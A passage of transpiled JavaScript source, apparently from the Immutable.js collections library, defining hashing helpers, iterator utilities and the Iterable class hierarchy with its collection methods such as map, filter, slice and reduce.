resolveBegin(begin, size) {\n\t\t return resolveIndex(begin, size, 0);\n\t\t}\n\t\tfunction resolveEnd(end, size) {\n\t\t return resolveIndex(end, size, size);\n\t\t}\n\t\tfunction resolveIndex(index, size, defaultIndex) {\n\t\t return index === undefined ? defaultIndex : index < 0 ? Math.max(0, size + index) : size === undefined ? index : Math.min(size, index);\n\t\t}\n\t\tvar imul = typeof Math.imul === 'function' && Math.imul(0xffffffff, 2) === -2 ? Math.imul : function imul(a, b) {\n\t\t a = a | 0;\n\t\t b = b | 0;\n\t\t var c = a & 0xffff;\n\t\t var d = b & 0xffff;\n\t\t return (c * d) + ((((a >>> 16) * d + c * (b >>> 16)) << 16) >>> 0) | 0;\n\t\t};\n\t\tfunction smi(i32) {\n\t\t return ((i32 >>> 1) & 0x40000000) | (i32 & 0xBFFFFFFF);\n\t\t}\n\t\tfunction hash(o) {\n\t\t if (o === false || o === null || o === undefined) {\n\t\t return 0;\n\t\t }\n\t\t if (typeof o.valueOf === 'function') {\n\t\t o = o.valueOf();\n\t\t if (o === false || o === null || o === undefined) {\n\t\t return 0;\n\t\t }\n\t\t }\n\t\t if (o === true) {\n\t\t return 1;\n\t\t }\n\t\t var type = typeof o;\n\t\t if (type === 'number') {\n\t\t var h = o | 0;\n\t\t while (o > 0xFFFFFFFF) {\n\t\t o /= 0xFFFFFFFF;\n\t\t h ^= o;\n\t\t }\n\t\t return smi(h);\n\t\t }\n\t\t if (type === 'string') {\n\t\t return o.length > STRING_HASH_CACHE_MIN_STRLEN ? cachedHashString(o) : hashString(o);\n\t\t }\n\t\t if (typeof o.hashCode === 'function') {\n\t\t return o.hashCode();\n\t\t }\n\t\t return hashJSObj(o);\n\t\t}\n\t\tfunction cachedHashString(string) {\n\t\t var hash = stringHashCache[string];\n\t\t if (hash === undefined) {\n\t\t hash = hashString(string);\n\t\t if (STRING_HASH_CACHE_SIZE === STRING_HASH_CACHE_MAX_SIZE) {\n\t\t STRING_HASH_CACHE_SIZE = 0;\n\t\t stringHashCache = {};\n\t\t }\n\t\t STRING_HASH_CACHE_SIZE++;\n\t\t stringHashCache[string] = hash;\n\t\t }\n\t\t return hash;\n\t\t}\n\t\tfunction hashString(string) {\n\t\t var hash = 0;\n\t\t for (var ii = 0; ii < string.length; ii++) {\n\t\t hash = 31 * hash + string.charCodeAt(ii) | 0;\n\t\t }\n\t\t return smi(hash);\n\t\t}\n\t\tfunction hashJSObj(obj) {\n\t\t var hash = weakMap && weakMap.get(obj);\n\t\t if (hash)\n\t\t return hash;\n\t\t hash = obj[UID_HASH_KEY];\n\t\t if (hash)\n\t\t return hash;\n\t\t if (!canDefineProperty) {\n\t\t hash = obj.propertyIsEnumerable && obj.propertyIsEnumerable[UID_HASH_KEY];\n\t\t if (hash)\n\t\t return hash;\n\t\t hash = getIENodeHash(obj);\n\t\t if (hash)\n\t\t return hash;\n\t\t }\n\t\t if (Object.isExtensible && !Object.isExtensible(obj)) {\n\t\t throw new Error('Non-extensible objects are not allowed as keys.');\n\t\t }\n\t\t hash = ++objHashUID;\n\t\t if (objHashUID & 0x40000000) {\n\t\t objHashUID = 0;\n\t\t }\n\t\t if (weakMap) {\n\t\t weakMap.set(obj, hash);\n\t\t } else if (canDefineProperty) {\n\t\t Object.defineProperty(obj, UID_HASH_KEY, {\n\t\t 'enumerable': false,\n\t\t 'configurable': false,\n\t\t 'writable': false,\n\t\t 'value': hash\n\t\t });\n\t\t } else if (obj.propertyIsEnumerable && obj.propertyIsEnumerable === obj.constructor.prototype.propertyIsEnumerable) {\n\t\t obj.propertyIsEnumerable = function() {\n\t\t return this.constructor.prototype.propertyIsEnumerable.apply(this, arguments);\n\t\t };\n\t\t obj.propertyIsEnumerable[UID_HASH_KEY] = hash;\n\t\t } else if (obj.nodeType) {\n\t\t obj[UID_HASH_KEY] = hash;\n\t\t } else {\n\t\t throw new Error('Unable to set a non-enumerable property on object.');\n\t\t }\n\t\t return hash;\n\t\t}\n\t\tvar canDefineProperty = (function() {\n\t\t try {\n\t\t Object.defineProperty({}, 'x', {});\n\t\t return true;\n\t\t } catch (e) {\n\t\t return false;\n\t\t }\n\t\t}());\n\t\tfunction getIENodeHash(node) {\n\t\t if (node && node.nodeType > 0) {\n\t\t switch (node.nodeType) {\n\t\t case 1:\n\t\t return node.uniqueID;\n\t\t case 9:\n\t\t return node.documentElement && node.documentElement.uniqueID;\n\t\t }\n\t\t }\n\t\t}\n\t\tvar weakMap = typeof WeakMap === 'function' && new WeakMap();\n\t\tvar objHashUID = 0;\n\t\tvar UID_HASH_KEY = '__immutablehash__';\n\t\tif (typeof Symbol === 'function') {\n\t\t UID_HASH_KEY = Symbol(UID_HASH_KEY);\n\t\t}\n\t\tvar STRING_HASH_CACHE_MIN_STRLEN = 16;\n\t\tvar STRING_HASH_CACHE_MAX_SIZE = 255;\n\t\tvar STRING_HASH_CACHE_SIZE = 0;\n\t\tvar stringHashCache = {};\n\t\tvar ITERATE_KEYS = 0;\n\t\tvar ITERATE_VALUES = 1;\n\t\tvar ITERATE_ENTRIES = 2;\n\t\tvar FAUX_ITERATOR_SYMBOL = '@@iterator';\n\t\tvar REAL_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\n\t\tvar ITERATOR_SYMBOL = REAL_ITERATOR_SYMBOL || FAUX_ITERATOR_SYMBOL;\n\t\tvar Iterator = function Iterator(next) {\n\t\t this.next = next;\n\t\t};\n\t\t($traceurRuntime.createClass)(Iterator, {toString: function() {\n\t\t return '[Iterator]';\n\t\t }}, {});\n\t\tIterator.KEYS = ITERATE_KEYS;\n\t\tIterator.VALUES = ITERATE_VALUES;\n\t\tIterator.ENTRIES = ITERATE_ENTRIES;\n\t\tvar IteratorPrototype = Iterator.prototype;\n\t\tIteratorPrototype.inspect = IteratorPrototype.toSource = function() {\n\t\t return this.toString();\n\t\t};\n\t\tIteratorPrototype[ITERATOR_SYMBOL] = function() {\n\t\t return this;\n\t\t};\n\t\tfunction iteratorValue(type, k, v, iteratorResult) {\n\t\t var value = type === 0 ? k : type === 1 ? v : [k, v];\n\t\t iteratorResult ? (iteratorResult.value = value) : (iteratorResult = {\n\t\t value: value,\n\t\t done: false\n\t\t });\n\t\t return iteratorResult;\n\t\t}\n\t\tfunction iteratorDone() {\n\t\t return {\n\t\t value: undefined,\n\t\t done: true\n\t\t };\n\t\t}\n\t\tfunction hasIterator(maybeIterable) {\n\t\t return !!_iteratorFn(maybeIterable);\n\t\t}\n\t\tfunction isIterator(maybeIterator) {\n\t\t return maybeIterator && typeof maybeIterator.next === 'function';\n\t\t}\n\t\tfunction getIterator(iterable) {\n\t\t var iteratorFn = _iteratorFn(iterable);\n\t\t return iteratorFn && iteratorFn.call(iterable);\n\t\t}\n\t\tfunction _iteratorFn(iterable) {\n\t\t var iteratorFn = iterable && ((REAL_ITERATOR_SYMBOL && iterable[REAL_ITERATOR_SYMBOL]) || iterable[FAUX_ITERATOR_SYMBOL]);\n\t\t if (typeof iteratorFn === 'function') {\n\t\t return iteratorFn;\n\t\t }\n\t\t}\n\t\tvar Iterable = function Iterable(value) {\n\t\t return isIterable(value) ? value : Seq(value);\n\t\t};\n\t\tvar $Iterable = Iterable;\n\t\t($traceurRuntime.createClass)(Iterable, {\n\t\t toArray: function() {\n\t\t assertNotInfinite(this.size);\n\t\t var array = new Array(this.size || 0);\n\t\t this.valueSeq().__iterate((function(v, i) {\n\t\t array[i] = v;\n\t\t }));\n\t\t return array;\n\t\t },\n\t\t toIndexedSeq: function() {\n\t\t return new ToIndexedSequence(this);\n\t\t },\n\t\t toJS: function() {\n\t\t return this.toSeq().map((function(value) {\n\t\t return value && typeof value.toJS === 'function' ? value.toJS() : value;\n\t\t })).__toJS();\n\t\t },\n\t\t toKeyedSeq: function() {\n\t\t return new ToKeyedSequence(this, true);\n\t\t },\n\t\t toMap: function() {\n\t\t return Map(this.toKeyedSeq());\n\t\t },\n\t\t toObject: function() {\n\t\t assertNotInfinite(this.size);\n\t\t var object = {};\n\t\t this.__iterate((function(v, k) {\n\t\t object[k] = v;\n\t\t }));\n\t\t return object;\n\t\t },\n\t\t toOrderedMap: function() {\n\t\t return OrderedMap(this.toKeyedSeq());\n\t\t },\n\t\t toOrderedSet: function() {\n\t\t return OrderedSet(isKeyed(this) ? this.valueSeq() : this);\n\t\t },\n\t\t toSet: function() {\n\t\t return Set(isKeyed(this) ? this.valueSeq() : this);\n\t\t },\n\t\t toSetSeq: function() {\n\t\t return new ToSetSequence(this);\n\t\t },\n\t\t toSeq: function() {\n\t\t return isIndexed(this) ? this.toIndexedSeq() : isKeyed(this) ? this.toKeyedSeq() : this.toSetSeq();\n\t\t },\n\t\t toStack: function() {\n\t\t return Stack(isKeyed(this) ? this.valueSeq() : this);\n\t\t },\n\t\t toList: function() {\n\t\t return List(isKeyed(this) ? this.valueSeq() : this);\n\t\t },\n\t\t toString: function() {\n\t\t return '[Iterable]';\n\t\t },\n\t\t __toString: function(head, tail) {\n\t\t if (this.size === 0) {\n\t\t return head + tail;\n\t\t }\n\t\t return head + ' ' + this.toSeq().map(this.__toStringMapper).join(', ') + ' ' + tail;\n\t\t },\n\t\t concat: function() {\n\t\t for (var values = [],\n\t\t $__2 = 0; $__2 < arguments.length; $__2++)\n\t\t values[$__2] = arguments[$__2];\n\t\t return reify(this, concatFactory(this, values));\n\t\t },\n\t\t contains: function(searchValue) {\n\t\t return this.some((function(value) {\n\t\t return is(value, searchValue);\n\t\t }));\n\t\t },\n\t\t entries: function() {\n\t\t return this.__iterator(ITERATE_ENTRIES);\n\t\t },\n\t\t every: function(predicate, context) {\n\t\t assertNotInfinite(this.size);\n\t\t var returnValue = true;\n\t\t this.__iterate((function(v, k, c) {\n\t\t if (!predicate.call(context, v, k, c)) {\n\t\t returnValue = false;\n\t\t return false;\n\t\t }\n\t\t }));\n\t\t return returnValue;\n\t\t },\n\t\t filter: function(predicate, context) {\n\t\t return reify(this, filterFactory(this, predicate, context, true));\n\t\t },\n\t\t find: function(predicate, context, notSetValue) {\n\t\t var foundValue = notSetValue;\n\t\t this.__iterate((function(v, k, c) {\n\t\t if (predicate.call(context, v, k, c)) {\n\t\t foundValue = v;\n\t\t return false;\n\t\t }\n\t\t }));\n\t\t return foundValue;\n\t\t },\n\t\t forEach: function(sideEffect, context) {\n\t\t assertNotInfinite(this.size);\n\t\t return this.__iterate(context ? sideEffect.bind(context) : sideEffect);\n\t\t },\n\t\t join: function(separator) {\n\t\t assertNotInfinite(this.size);\n\t\t separator = separator !== undefined ? '' + separator : ',';\n\t\t var joined = '';\n\t\t var isFirst = true;\n\t\t this.__iterate((function(v) {\n\t\t isFirst ? (isFirst = false) : (joined += separator);\n\t\t joined += v !== null && v !== undefined ? v : '';\n\t\t }));\n\t\t return joined;\n\t\t },\n\t\t keys: function() {\n\t\t return this.__iterator(ITERATE_KEYS);\n\t\t },\n\t\t map: function(mapper, context) {\n\t\t return reify(this, mapFactory(this, mapper, context));\n\t\t },\n\t\t reduce: function(reducer, initialReduction, context) {\n\t\t assertNotInfinite(this.size);\n\t\t var reduction;\n\t\t var useFirst;\n\t\t if (arguments.length < 2) {\n\t\t useFirst = true;\n\t\t } else {\n\t\t reduction = initialReduction;\n\t\t }\n\t\t this.__iterate((function(v, k, c) {\n\t\t if (useFirst) {\n\t\t useFirst = false;\n\t\t reduction = v;\n\t\t } else {\n\t\t reduction = reducer.call(context, reduction, v, k, c);\n\t\t }\n\t\t }));\n\t\t return reduction;\n\t\t },\n\t\t reduceRight: function(reducer, initialReduction, context) {\n\t\t var reversed = this.toKeyedSeq().reverse();\n\t\t return reversed.reduce.apply(reversed, arguments);\n\t\t },\n\t\t reverse: function() {\n\t\t return reify(this, reverseFactory(this, true));\n\t\t },\n\t\t slice: function(begin, end) {\n\t\t if (wholeSlice(begin, end, this.size)) {\n\t\t return this;\n\t\t }\n\t\t var resolvedBegin = resolveBegin(begin, this.size);\n\t\t var resolvedEnd = resolveEnd(end, this.size);\n\t\t if (resolvedBegin !== resolvedBegin || resolvedEnd !== resolvedEnd) {\n\t\t return this.toSeq().cacheResult().slice(begin, end);\n\t\t }\n\t\t var skipped = resolvedBegin === 0 ? this : this.skip(resolvedBegin);\n\t\t return reify(this, resolvedEnd === undefined || resolvedEnd === this.size ? skipped : skipped.take(resolvedEnd - resolvedBegin));\n\t\t },\n\t\t some: function(predicate, context) {\n\t\t return !this.every(not(predicate), context);\n\t\t },\n\t\t sort: function(comparator) {\n\t\t return reify(this, sortFactory(this, comparator));\n\t\t },\n\t\t values: function() {\n\t\t return this.__iterator(ITERATE_VALUES);\n\t\t },\n\t\t butLast: function() {\n\t\t return this.slice(0, -1);\n\t\t },\n\t\t count: function(predicate, context) {\n\t\t return ensureSize(predicate ? this.toSeq().filter(predicate, context) : this);\n\t\t },\n\t\t countBy: function(grouper, context) {\n\t\t return countByFactory(this, grouper, context);\n\t\t },\n\t\t equals: function(other) {\n\t\t return deepEqual(this, other);\n\t\t },\n\t\t entrySeq: function() {\n\t\t var iterable = this;\n\t\t if (iterable._cache) {\n\t\t return new ArraySeq(iterable._cache);\n\t\t }\n\t\t var entriesSequence = iterable.toSeq().map(entryMapper).toIndexedSeq();\n\t\t entriesSequence.fromEntrySeq = (function() {\n\t\t return iterable.toSeq();\n\t\t });\n\t\t return entriesSequence;\n\t\t },\n\t\t filterNot: function(predicate, context) {\n\t\t return this.filter(not(predicate), context);\n\t\t },\n\t\t findLast: function(predicate, context, notSetValue) {\n\t\t return this.toKeyedSeq().reverse().find(predicate, context, notSetValue);\n\t\t },\n\t\t first: function() {\n\t\t return this.find(returnTrue);\n\t\t },\n\t\t flatMap: function(mapper, context) {\n\t\t return reify(this, flatMapFactory(this, mapper, context));\n\t\t },\n\t\t flatten: function(depth) {\n\t\t return reify(this, flattenFactory(this, depth, true));\n\t\t },\n\t\t fromEntrySeq: function() {\n\t\t return new FromEntriesSequence(this);\n\t\t },\n\t\t get: function(searchKey, notSetValue) {\n\t\t return this.find((function(_, key) {\n\t\t return is(key, searchKey);\n\t\t }), undefined, notSetValue);\n\t\t },\n\t\t getIn: function(searchKeyPath, notSetValue) {\n\t\t var nested = this;\n\t\t if (searchKeyPath) {\n\t\t var iter = getIterator(searchKeyPath) || getIterator($Iterable(searchKeyPath));\n\t\t var step;\n\t\t while (!(step = iter.next()).done) {\n\t\t var key = step.value;\n\t\t nested = nested && nested.get ? nested.get(key, NOT_SET) : NOT_SET;\n\t\t if (nested === NOT_SET) {\n\t\t return notSetValue;\n\t\t }\n\t\t }\n\t\t }\n\t\t return nested;\n\t\t },\n\t\t groupBy: function(grouper, context) {\n\t\t return groupByFactory(this, grouper, context);\n\t\t },\n\t\t has: function(searchKey) {\n\t\t return this.get(searchKey, NOT_SET) !== NOT_SET;\n\t\t },\n\t\t hasIn: function(searchKeyPath) {\n\t\t return this.getIn(searchKeyPath, NOT_SET) !== NOT_SET;\n\t\t },\n\t\t isSubset: function(iter) {\n\t\t iter = typeof iter.contains === 'function' ? iter : $Iterable(iter);\n\t\t return this.every((function(value) {\n\t\t return iter.contains(value);\n\t\t }));\n\t\t },\n\t\t isSuperset: function(iter) {\n\t\t return iter.isSubset(this);\n\t\t },\n\t\t keySeq: function() {\n\t\t return this.toSeq().map(keyMapper).toIndexedSeq();\n\t\t },\n\t\t last: function() {\n\t\t return this.toSeq().reverse().first();\n\t\t },\n\t\t max: function(comparator) {\n\t\t return maxFactory(this, comparator);\n\t\t },\n\t\t maxBy: function(mapper, comparator) {\n\t\t return maxFactory(this, comparator, mapper);\n\t\t },\n\t\t min: function(comparator) {\n\t\t return maxFactory(this, comparator ? neg(comparator) : defaultNegComparator);\n\t\t },\n\t\t minBy: function(mapper, comparator) {\n\t\t return maxFactory(this, comparator ? neg(comparator) : defaultNegComparator, mapper);\n\t\t },\n\t\t rest: function() {\n\t\t return this.slice(1);\n\t\t },\n\t\t skip: function(amount) {\n\t\t return reify(this, skipFactory(this, amount, true));\n\t\t },\n\t\t skipLast: function(amount) {\n\t\t return reify(this, this.toSeq().reverse().skip(amount).reverse());\n\t\t },\n\t\t skipWhile: function(predicate, context) {\n\t\t return reify(this, skipWhileFactory(this, predicate, context, true));\n\t\t },\n\t\t skipUntil: function(predicate, context) {\n\t\t return this.skipWhile(not(predicate), context);\n\t\t },\n\t\t sortBy: function(mapper, comparator) {\n\t\t return reify(this, sortFactory(this, comparator, mapper));\n\t\t },\n\t\t take: function(amount) {\n\t\t return reify(this, takeFactory(this, amount));\n\t\t },\n\t\t takeLast: function(amount) {\n\t\t return reify(this, this.toSeq().reverse().take(amount).reverse());\n\t\t },\n\t\t takeWhile: function(predicate, context) {\n\t\t return reify(this, takeWhileFactory(this, predicate, context));\n\t\t },\n\t\t takeUntil: function(predicate, context) {\n\t\t return this.takeWhile(not(predicate), context);\n\t\t },\n\t\t valueSeq: function() {\n\t\t return this.toIndexedSeq();\n\t\t },\n\t\t hashCode: function() {\n\t\t return this.__hash || (this.__hash = hashIterable(this));\n\t\t }\n\t\t}, {});\n\t\tvar IS_ITERABLE_SENTINEL = '@@__IMMUTABLE_ITERABLE__@@';\n\t\tvar IS_KEYED_SENTINEL = '@@__IMMUTABLE_KEYED__@@';\n\t\tvar IS_INDEXED_SENTINEL = '@@__IMMUTABLE_INDEXED__@@';\n\t\tvar IS_ORDERED_SENTINEL = '@@__IMMUTABLE_ORDERED__@@';\n\t\tvar IterablePrototype = Iterable.prototype;\n\t\tIterablePrototype[IS_ITERABLE_SENTINEL] = true;\n\t\tIterablePrototype[ITERATOR_SYMBOL] = IterablePrototype.values;\n\t\tIterablePrototype.toJSON = IterablePrototype.toJS;\n\t\tIterablePrototype.__toJS = IterablePrototype.toArray;\n\t\tIterablePrototype.__toStringMapper = quoteString;\n\t\tIterablePrototype.inspect = IterablePrototype.toSource = function() {\n\t\t return this.toString();\n\t\t};\n\t\tIterablePrototype.chain = IterablePrototype.flatMap;\n\t\t(function() {\n\t\t try {\n\t\t Object.defineProperty(IterablePrototype, 'length', {get: function() {\n\t\t if (!Iterable.noLengthWarning) {\n\t\t var stack;\n\t\t try {\n\t\t throw new Error();\n\t\t } catch (error) {\n\t\t stack = error.stack;\n\t\t }\n\t\t if (stack.indexOf('_wrapObject') === -1) {\n\t\t console && console.warn && console.warn('iterable.length has been deprecated, ' + 'use iterable.size or iterable.count(). ' + 'This warning will become a silent error in a future version. ' + stack);\n\t\t return this.size;\n\t\t }\n\t\t }\n\t\t }});\n\t\t } catch (e) {}\n\t\t})();\n\t\tvar KeyedIterable = function KeyedIterable(value) {\n\t\t return isKeyed(value) ? value : KeyedSeq(value);\n\t\t};\n\t\t($traceurRuntime.createClass)(KeyedIterable, {\n\t\t flip: function() {\n\t\t return reify(this, flipFactory(this));\n\t\t },\n\t\t findKey: function(predicate, context) {\n\t\t var foundKey;\n\t\t this.__iterate((function(v, k, c) {\n\t\t if (predicate.call(context, v, k, c)) {\n\t\t foundKey = k;\n\t\t return false;\n\t\t }\n\t\t }));\n\t\t return foundKey;\n\t\t },\n\t\t findLastKey: function(predicate, context) {\n\t\t return this.toSeq().reverse().findKey(predicate, context);\n\t\t },\n\t\t keyOf: function(searchValue) {\n\t\t return this.findKey((function(value) {\n\t\t return is(value, searchValue);\n\t\t }));\n\t\t },\n\t\t lastKeyOf: function(searchValue) {\n\t\t return this.toSeq().reverse().keyOf(searchValue);\n\t\t },\n\t\t mapEntries: function(mapper, context) {\n\t\t var $__0 = this;\n\t\t var iterations = 0;\n\t\t return reify(this, this.toSeq().map((function(v, k) {\n\t\t return mapper.call(context, [k, v], iterations++, $__0);\n\t\t })).fromEntrySeq());\n\t\t },\n\t\t mapKeys: function(mapper, context) {\n\t\t var $__0 = this;\n\t\t return reify(this, this.toSeq().flip().map((function(k, v) {\n\t\t return mapper.call(context, k, v, $__0);\n\t\t })).flip());\n\t\t }\n\t\t}, {}, Iterable);\n\t\tvar KeyedIterablePrototype = KeyedIterable.prototype;\n\t\tKeyedIterablePrototype[IS_KEYED_SENTINEL] = true;\n\t\tKeyedIterablePrototype[ITERATOR_SYMBOL] = IterablePrototype.entries;\n\t\tKeyedIterablePrototype.__toJS = IterablePrototype.toObject;\n\t\tKeyedIterablePrototype.__toStringMapper = (function(v, k) {\n\t\t return k + ': ' + quoteString(v);\n\t\t});\n\t\tvar IndexedIterable = function IndexedIterable(value) {\n\t\t return isIndexed(value) ? value : IndexedSeq(value);\n\t\t};\n\t\t($traceurRuntime.createClass)(IndexedIterable, {\n\t\t toKeyedSeq: function() {\n\t\t return new ToKeyedSequence(this, false);\n\t\t },\n\t\t filter: function(predicate, context) {\n\t\t return reify(this, filterFactory(this, predicate, context, false));\n\t\t },\n\t\t findIndex: function(predicate, context) {\n\t\t var key = this.toKeyedSeq().findKey(predicate, context);\n\t\t return key === undefined ? -1 : key;\n\t\t },\n\t\t indexOf: function(searchValue) {\n\t\t var key = this.toKeyedSeq().keyOf(searchValue);\n\t\t return key === undefined ? -1 : key;\n\t\t },\n\t\t lastIndexOf: function(searchValue) {\n\t\t var key = this.toKeyedSeq().lastKeyOf(searchValue);\n\t\t return key === undefined ? -1 : key;\n\t\t },\n\t\t reverse: function() {\n\t\t return reify(this, reverseFactory(this, false));\n\t\t },\n\t\t splice: function(index, removeNum) {\n\t\t var numArgs = arguments.length;\n\t\t removeNum = Math.max(removeNum | 0, 0);\n\t\t if (numArgs === 0 || (numArgs === 2 && !removeNum)) {\n\t\t return this;\n\t\t }\n\t\t index = resolveBegin(index, this.size);\n\t\t var spliced = this.slice(0, index);\n\t\t return reify(this, numArgs === 1 ? spliced : spliced.concat(arrCopy(arguments, 2), this.slice(index + removeNum)));\n\t\t },\n\t\t findLastIndex: function(predicate, context) {\n\t\t var key = this.toKeyedSeq().findLastKey(predicate, context);\n\t\t return key === undefined ? -1 : key;\n\t\t },\n\t\t first: function() {\n\t\t return this.get(0);\n\t\t },\n\t\t flatten: function(depth) {\n\t\t return reify(this, flattenFactory(this, depth, false));\n\t\t },\n\t\t get: function(index, notSetValue) {\n\t\t index = wrapIndex(this, index);\n\t\t return (index < 0 || (this.size === Infinity || (this.size !== undefined && index > this.size))) ? notSetValue : this.find((function(_, key) {\n\t\t return key === index;\n\t\t }), undefined, notSetValue);\n\t\t },\n\t\t has: function(index) {\n\t\t index = wrapIndex(this, index);\n\t\t return index >= 0 && (this.size !== undefined ? this.size === Infinity || index < this.size : this.indexOf(index) !== -1);\n\t\t },\n\t\t interpose: function(separator) {\n\t\t return reify(this, interposeFactory(this, separator));\n\t\t },\n\t\t last: function() {\n\t\t return this.get(-1);\n\t\t },\n\t\t skip: function(amount) {\n\t\t var iter = this;\n\t\t var skipSeq = skipFactory(iter, amount, false);\n\t\t if (isSeq(iter) && skipSeq !== iter) {\n\t\t skipSeq.get = function(index, notSetValue) {\n\t\t index = wrapIndex(this, index);\n\t\t return index >= 0 ? iter.get(index + amount, notSetValue) : notSetValue;\n\t\t };\n\t\t }\n\t\t return reify(this, skipSeq);\n\t\t },\n\t\t skipWhile: function(predicate, context) {\n\t\t return reify(this, skipWhileFactory(this, predicate, context, false));\n\t\t },\n\t\t take: function(amount) {\n\t\t var iter = this;\n\t\t var takeSeq = takeFactory(iter, amount);\n\t\t if (isSeq(iter) && takeSeq !== iter) {\n\t\t takeSeq.get = function(index, notSetValue) {\n\t\t index = wrapIndex(this, index);\n\t\t return index >= 0 && index < amount ? iter.get(index, notSetValue) : notSetValue;\n\t\t };\n\t\t }\n\t\t return reify(this, takeSeq);\n\t\t }\n\t\t}, {}, Iterable);\n\t\tIndexedIterable.prototype[IS_INDEXED_SENTINEL] = true;\n\t\tIndexedIterable.prototype[IS_ORDERED_SENTINEL] = true;\n\t\tvar SetIterable = function SetIterable(value) {\n\t\t return isIterable(value) && !isAssociative(value) ? value : SetSeq(value);\n\t\t};\n\t\t($traceurRuntime.createClass)(SetIterable, {\n\t\t get: function(value, notSetValue) {\n\t\t return this.has(value) ? value : notSetValue;\n\t\t },\n\t\t contains: function(value) {\n\t\t return this.has(value);\n\t\t },\n\t\t keySeq: function() {\n\t\t return this.valueSeq();\n\t\t }\n\t\t}, {}, Iterable);\n\t\tSetIterable.prototype.has = IterablePrototype.contains;\n\t\tfunction isIterable(maybeIterable) {\n\t\t return !!(maybeIterable && maybeIterable[IS_ITERABLE_SENTINEL]);\n\t\t}\n\t\tfunction isKeyed(maybeKeyed) {\n\t\t return !!(maybeKeyed && maybeKeyed[IS_KEYED_SENTINEL]);\n\t\t}\n\t\tfunction isIndexed(maybeIndexed) {\n\t\t return !!(maybeIndexed && maybeIndexed[IS_INDEXED_SENTINEL]);\n\t\t}\n\t\tfunction isAssociative(maybeAssociative) {\n\t\t return isKeyed(maybeAssociative) || isIndexed(maybeAssociative);\n\t\t}\n\t\tfunction isOrdered(maybeOrdered) {\n\t\t return !!(maybeOrdered && maybeOrdered[IS_ORDERED_SENTINEL]);\n\t\t}\n\t\tIterable.isIterable = isIterable;\n\t\tIterable.isKeyed = isKeyed;\n\t\tIterable.isIndexed = isIndexed;\n\t\tIterable.isAssociative = isAssociative;\n\t\tIterable.isOrdered = isOrdered;\n\t\tIterable.Keyed = KeyedIterable;\n\t\tIterable.Indexed = IndexedIterable;\n\t\tIterable.Set = SetIterable;\n\t\tIterable.Iterator = Iterator;\n\t\tfunction keyMapper(v, k) {\n\t\t return k;\n\t\t}\n\t\tfunction entryMapper(v, k) {\n\t\t return [k, v];\n\t\t}\n\t\tfunction not(predicate) {\n\t\t return function() {\n\t\t return !predicate.apply(this, arguments);\n\t\t };\n\t\t}\n\t\tfunction neg(predicate) {\n\t\t return function() {\n\t\t return -predicate.apply(this, arguments);\n\t\t };\n\t\t}\n\t\tfunction quoteString(value) {\n\t\t return typeof value === 'string' ? JSON.stringify(value) : value;\n\t\t}\n\t\tfunction defaultNegComparator(a, b) {\n\t\t return a < b ? 1 : a > b ? -1 : 0;\n\t\t}\n\t\tfunction deepEqual(a, b) {\n\t\t if (a === b) {\n\t\t return true;\n\t\t }\n\t\t if (!isIterable(b) || a.size !== undefined && b.size !== undefined && a.size !== b.size || a.__hash !== undefined && b.__hash !== undefined && a.__hash !== b.__hash || isKeyed(a) !== isKeyed(b) || isIndexed(a) !== isIndexed(b) || isOrdered(a) !== isOrdered(b)) {\n\t\t return false;\n\t\t }\n\t\t if (a.size === 0 && b.size === 0) {\n\t\t return true;\n\t\t }\n\t\t var notAssociative = !isAssociative(a);\n\t\t if (isOrdered(a)) {\n\t\t var entries = a.entries();\n\t\t return b.every((function(v, k) {\n\t\t var entry = entries.next().value;\n\t\t return entry && is(entry[1], v) && (notAssociative || is(entry[0], k));\n\t\t })) && entries.next().done;\n\t\t }\n\t\t var flipped = false;\n\t\t if (a.size === undefined) {\n\t\t if (b.size === undefined) {\n\t\t a.cacheResult();\n\t\t } else {\n\t\t flipped = true;\n\t\t var _ = a;\n\t\t a = b;\n\t\t b = _;\n\t\t }\n\t\t }\n\t\t var allEqual = true;\n\t\t var bSize = b.__iterate((function(v, k) {\n\t\t if (notAssociative ? !a.has(v) : flipped ? !is(v, a.get(k, NOT_SET)) : !is(a.get(k, NOT_SET), v)) {\n\t\t allEqual = false;\n\t\t return false;\n\t\t }\n\t\t }));\n\t\t return allEqual && a.size === bSize;\n\t\t}\n\t\tfunction hashIterable(iterable) {\n\t\t if (iterable.size === Infinity) {\n\t\t return 0;\n\t\t }\n\t\t var ordered = isOrdered(iterable);\n\t\t var keyed = isKeyed(iterable);\n\t\t var h = ordered ? 1 : 0;\n\t\t var size = iterable.__iterate(keyed ? ordered ? (function(v, k) {\n\t\t h = 31 * h + hashMerge(hash(v), hash(k)) | 0;\n\t\t }) : (function(v, k) {\n\t\t h = h + hashMerge(hash(v), hash(k)) | 0;\n\t\t }) : ordered ? (function(v) {\n\t\t h = 31 * h + hash(v) | 0;\n\t\t }) : (function(v) {\n\t\t h = h + hash(v) | 0;\n\t\t }));\n\t\t return murmurHashOfSize(size, h);\n\t\t}\n\t\tfunction murmurHashOfSize(size, h) {\n\t\t h = imul(h, 0xCC9E2D51);\n\t\t h = imul(h << 15 | h >>> -15, 0x1B873593);\n\t\t h = imul(h << 13 | h >>> -13, 5);\n\t\t h = (h + 0xE6546B64 | 0) ^ size;\n\t\t h = imul(h ^ h >>> 16, 0x85EBCA6B);\n\t\t h = imul(h ^ h >>> 13, 0xC2B2AE35);\n\t\t h = smi(h ^ h >>> 16);\n\t\t return h;\n\t\t}\n\t\tfunction hashMerge(a, b) {\n\t\t return a ^ b + 0x9E3779B9 + (a << 6) + (a >> 2) | 0;\n\t\t}\n\t\tfunction mixin(ctor, methods) {\n\t\t var proto = ctor.prototype;\n\t\t var keyCopier = (function(key) {\n\t\t proto[key] = methods[key];\n\t\t });\n\t\t Object.keys(methods).forEach(keyCopier);\n\t\t Object.getOwnPropertySymbols && Object.getOwnPropertySymbols(methods).forEach(keyCopier);\n\t\t return ctor;\n\t\t}\n\t\tvar Seq = function Seq(value) {\n\t\t return value === null || value === undefined ? emptySequence() : isIterable(value) ? value.toSeq() : seqFromValue(value);\n\t\t};\n\t\tvar $Seq = Seq;\n\t\t($traceurRuntime.createClass)(Seq, {\n\t\t toSeq: function() {\n\t\t return this;\n\t\t },\n\t\t toString: function() {\n\t\t return this.__toString('Seq {', '}');\n\t\t },\n\t\t cacheResult: function() {\n\t\t if (!this._cache && this.__iterateUncached) {\n\t\t this._cache = this.entrySeq().toArray();\n\t\t this.size = this._cache.length;\n\t\t }\n\t\t return this;\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t return seqIterate(this, fn, reverse, true);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t return seqIterator(this, 